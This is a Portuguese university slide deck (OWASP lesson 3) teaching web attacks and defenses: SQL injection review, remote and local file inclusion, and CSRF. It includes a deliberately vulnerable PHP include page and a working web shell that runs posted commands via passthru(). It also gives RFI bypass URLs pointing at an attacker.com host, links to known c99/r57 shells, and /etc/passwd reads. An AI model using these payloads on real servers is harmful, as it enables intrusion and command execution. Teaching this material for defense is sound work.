



Open **W**eb **A**pplication **S**ecurity **P**roject

Segurança em Web – Aula 3

Maycon Maia Vitali (OutOfBound)

maycon@hacknroll.com

Hack'n Roll



Centro Universitário Vila Velha

Agenda

- Revisão da Última Aula
 - SQL Injection e seus exemplos
- Execução de Arquivos Remoto
 - Exemplo
 - Solução
- Referência a Objetos Inseguros (Local File Include)
 - Acesso a Arquivos do Sistema Operacional
 - Acesso a Registros Sigilosos
 - **(BONUS)** Execução de Comandos no Servidor
 - Solução
- Cross Site Request Forgery
 - História (Forum Logout)
 - Sites de e-Commerce
 - Solução
- Conclusão

AVISO

ATENÇÃO

O instrutor do curso (Maycon Maia Vitali) tão pouco o Centro Universitário Vila Velha não se responsabilizam pela má utilização das informações fornecidas neste curso.

O Curso de Extensão Tecnológica em Segurança Web tem a única finalidade de formar profissionais aptos a desenvolver um ambiente Web seguro, protegendo-o de ataques que porventura viriam acontecer.

Qualquer ato ilícito ou ilegal acarretado devido a má utilização das informações apresentadas no curso serão de inteira responsabilidade do autor, estando o mesmo completamente sujeito as mais severas penalidades cabíveis pela lei.

Revisão da Última Aula



Centro Universitário Vila Velha

SQL Injection

- Má filtragem dos dados fornecidos pelo usuário;
- Facilidade e dificuldades em cada SGBD diferente;
- Possibilita acesso total (ou parcial ao Banco de Dados):
 - Ler (select), alterar(insert, update, delete) e executar (shutdown)
- SQL Injection vs Cross-Site-Scripting
 - Caso FAB

Exemplos Dados

- Formulário de Login
 - Existência de registro
 - Quantidade de registros
 - Brute-Force de senha
 - Sub-select

- Variáveis Numéricas + Ajax (caso completo)
 - Processo de exploração avançado

Execução de Arquivos Remoto



Centro Universitário Vila Velha

Características

- Diversas proteções por configuração
- Alto Impacto
- Execução de Comandos no Servidor

Possibilidades

- Apagar Arquivos
- Instalar Programas (keyloggers, sniffers)
- Acessar Outras Páginas
- Repositório de Arquivos (virus?)
- Utilizar o servidor como zumbi (DDoS ?)
- ...
- O que a imaginação permitir

Origem da Vulnerabilidade

- Tempo = Dinheiro
- Dilema produtividade vs qualidade
 - “Se funciona não mecha!”
- Recursos surgem para aumentar a produtividade no desenvolvimento

História (fictícia)

- No início criou-se o HTML sem recursos
 - Todas as páginas deveriam ser feitas na mão e com conteúdo repetido.
- Estendeu-se o HTML
 - Criação de leiautes por *frames* (eca?)
 - Depois vieram as tabelas
- Criação das linguagens dinâmicas
 - Funções que auxiliam a produtividade

Exemplo do PHP

- `include()`
 - `require()`
 - `include_once()`
 - `require_once()`
-
- `include` → Em caso de erro continua
 - `require` → Em caso de erro crash!
 - `_once()` → Apenas uma vez

E daí?

Aviso **Security warning**

O arquivo remoto pode ser processado pelo servidor remoto (dependendo da extensão do arquivo e do fato de o servidor remoto executar o PHP ou não) mas ainda tem que produzir um script PHP válido porque ele será processado pelo servidor local. Se o arquivo do servidor remoto deve ser processado lá e apenas exibido, a função, [readfile\(\)](#) é muito melhor para ser usada. Entretanto, um cuidado especial deve ser tomado para se assegurar que o script remoto irá produzir um código válido e desejado.

- Se o arquivo a ser incluído contiver códigos PHP os mesmos serão executados.

Execução de Arquivos Remotos Primeiro Exemplo

Formulário de Acesso



Centro Universitário Vila Velha

Exemplo de RFI - Mozilla Firefox

Arquivo Editar Exibir Histórico Favoritos Ferramentas Ajuda

http://localhost/AtaquesWeb/rfi/?pagina=home

Principal Historico Contato

Página principal

Nulla vulputate dui eget tortor. Etiam commodo massa et justo. Sed sollicitudin. Proin risus. Sed condimentum fermentum odio. Phasellus mi mi, aliquam quis, luctus vel, commodo ut, magna. Morbi velit sem, semper ac, hendrerit non, rhoncus a, sapien. Aenean arcu risus, rhoncus ac, viverra non, accumsan et, massa. Donec ac leo a augue varius dapibus. Nam ipsum massa, pharetra sit amet, aliquet eget, tempus sit amet, lacus.

Sed semper neque ornare quam. Aenean non ligula in massa dignissim interdum. Pellentesque quis nunc. Praesent elit libero, pellentesque nec, molestie et, vehicula vel, tortor. Sed sollicitudin quam sit amet nunc. Suspendisse dapibus elit dignissim dolor. Duis a magna id metus tempor porttitor. Sed elementum ornare neque. Mauris scelerisque ipsum vel lorem. In hac habitasse platea dictumst. Etiam rutrum ipsum non odio. Donec lacus. Mauris non elit. Proin ut urna feugiat urna vestibulum pharetra. Donec libero odio, euismod at, tempus at, lacinia vitae, arcu. Aliquam ante tellus, commodo et, vulputate eget, posuere a, urna. In ut nisi lobortis justo auctor vestibulum.

All copyleft AtaquesWeb 2009

Concluído

Código-fonte principal

```
1 <?php header ("Content-type: text/html; charset=ISO-8859-1;"); ?>
2 <html>
3   <head>
4     <title>Exemplo de RFI</title>
5   </head>
6
7   <body>
8     <center>
9       <!-- Cabecalho/menu da página -->
10      <?php include_once "menu.php"; ?>
11
12      <!-- Parte central (conteudo) -->
13      <div style="width:500px; border:1px dashed;">
14        <?php
15          // Verifica se foi passado a variavel da pagina ou carrega a default
16          if (isset($_GET['pagina'])) { $strPagina = $_GET['pagina'] . ".php"; }
17          else { $strPagina = "home.php"; }
18
19          // Carrega a página atual
20          include $strPagina;
21        ?>
22      </div>
23
24      <!-- Rodape da pagina -->
25      <?php include_once "rodape.php"; ?>
26    </center>
27  </body>
28 </html>
```

Observações

- É possível notar a utilização das funções citadas.
- Sistema com alta produtividade
 - Ex: Adicionar um novo item de menu
- O parâmetro de uma das funções include() pode ser manipulada pelo usuário.

Princípio do Ataque

- “Toda entrada é mal-intencionada até que se provem o contrário.”
 - `http://localhost/AtaquesWeb/rfi/?pagina=home` → `home.php`
 - `http://localhost/AtaquesWeb/rfi/?pagina=historico` → `historico.php`
 - `http://localhost/AtaquesWeb/rfi/?pagina=contato` → `contato.php`
 - ...
 - ...
 - `http://localhost/AtaquesWeb/rfi/?pagina=[arquivo_malefico]`

Arquivo Maléfico

```
1 <br />
2
3 <form method="post" action="<?=$_SERVER['REQUEST_URI'] ?>">
4     Comando: <input type="text" name="cmd" value="<?=$_POST['cmd']?>" />
5     <input type="submit" value="Executar" />
6 </form>
7
8 <hr />
9
10 <pre style="text-align:left">
11 <?php
12     if ($_POST['cmd'])
13     {
14         passthru($_POST['cmd']);
15     }
16 >>
17 </pre>
```

- passthru() → Executa comando e imprime

Arquivos Maléficos Famosos

- Explorer de Arquivos, bypass de segurança, etc
 - c99.txt [<http://www.hackerlar.net/c99.txt>]
 - r57.txt [<http://www.hackerlar.net/r57.txt>]
 - Safe0ver.txt [<http://www.hackerlar.net/safe0ver.txt>]
- Atenção: Cuidado com **trapdoors**.

Proteção Ineficiente Blacklist

```
14      <?php
15          // Verifica se foi passado a variavel da pagina ou carrega a default
16          if (isset($_GET['pagina'])) {
17              $strPagina = $_GET['pagina'] . ".php";
18
19              // Verifica pela tentativa de ataque
20              if (strstr($strPagina, "http://") || strstr($strPagina, "ftp://"))
21              {
22                  die ("Tentativa de ataque.");
23              }
24          } else {
25              $strPagina = "home.php";
26          }
27
28          // Carrega a página atual
29          include $strPagina;
30      ?>
```

Lista de Protocol Wrappers

- <https://www.attacker.com/cmd.txt?> ← HTTPS
- <ftps://www.attacker.com/cmd.txt%00> ← FTPS
- <ssh2.sftp://www.attacker.com/cmd.txt%00> ← Fish (ssh)
- <\\www.attacker.com\cmd.txt%00> ← Servidor Samba

Solução Eficiente

- Criar whilelist, permitindo somente caracteres válidos:

```
1 <?php
2 function ParametroValido($cValor)
3 {
4     $aCaracteresValidos = array(
5         "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",
6         "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",
7         "0", "1", "2", "3", "4", "5", "6", "7", "8", "9",
8         "-", "_", ".", "+", "(", ")"
9     );
10
11     $cValor = strtolower($cValor);
12
13     for ($i = 0; $i < strlen($cValor); $i++)
14     {
15         if (!in_array($cValor[$i], $aCaracteresValidos))
16             return FALSE;
17     }
18
19     return TRUE;
20 }
21 ?>
```

Referência a Objetos Inseguros

Formulário de Acesso



Centro Universitário Vila Velha

Princípios

- Confiar em informações passadas pelo usuário:
 - Campos hidden
 - Cookie (admin=false)
- Permite explorar quando o desenvolvedor confia em allow_url_fopen:
 - Local File Include

Referência a Objetos Inseguros Local File Include



Possibilidade

- Acessar Arquivos do Sistema Operacional
 - Se enquadra em *Information Leak*
 - Obter lista de usuários (/etc/passwd)
 - Obter informações do servidor (Ex: /proc/*)
 - Obter informações de configurações (Ex: /etc/resolv.conf)
 - **(BONUS)** Permite executar comandos (Como?)
 - **(AVANÇADO)** Permite obter senha de acesso ao servidor (NTLH Hash)

Referência a Objetos Inseguros

Furo de Autenticação



Centro Universitário Vila Velha

Características

- Confiar nos dados e em quem está enviando.
- Permite manipular informações que não deveriam ter acesso.
- Filtragem e verificação somente em consultas.

Solução

- Filtrar os dados do usuário, permitindo somente o conjunto de caracteres válidos para o tipo de dado permitido.
- Não criar blacklist
- “all input is evil

Cross Site Request Forgery



Centro Universitário Vila Velha

Características

- Semelhante a XSS (igual?)
- Qualquer sistema vulnerável a XSS está vulnerável a XSRF
- Nem toda aplicação vulnerável a XSRF está também vulnerável a XSS

Princípios

- Permite alterar as informações enviadas ao navegados.
- Ataque *client-side*
- Não se baseia em executar código JS
- Se baseia em enviar requisições com as credenciais do usuário para o servidor.

Cross Site Request Forgery

Caso de Uso: Forum Logout



Funcionamento

- Ocorria quando induzia o navegador das vitimas a enviarem uma requisição de logout com suas credenciais:
- Avatar URL: <http://www.site.com/logout.php>

Cross Site Request Forgery

Caso de Uso: e-Commerce



Funcionamento

- <http://localhost/AtaquesWeb/owasp4/>
 - lista_veiculos.php ← Lista todos
 - troca_propr.php ← Filtro do dono
- 1) Cadastrar veículo e definir como figura o veículo que deseja
- 2) Esperar o dono acessar a listagem 😊

Solução

- Ineficiente:
 - Blacklist
 - addslashes() é ineficiente para XSRF
- Eficiente:
 - Evitar falhas de XSS
 - Controle próprio de *tokens*



Open **W**eb **A**pplication **S**ecurity **P**roject

Fim. Será?!?!

Maycon Maia Vitali (OutOfBound)

maycon@hacknroll.com

Hack'n Roll



Centro Universitário Vila Velha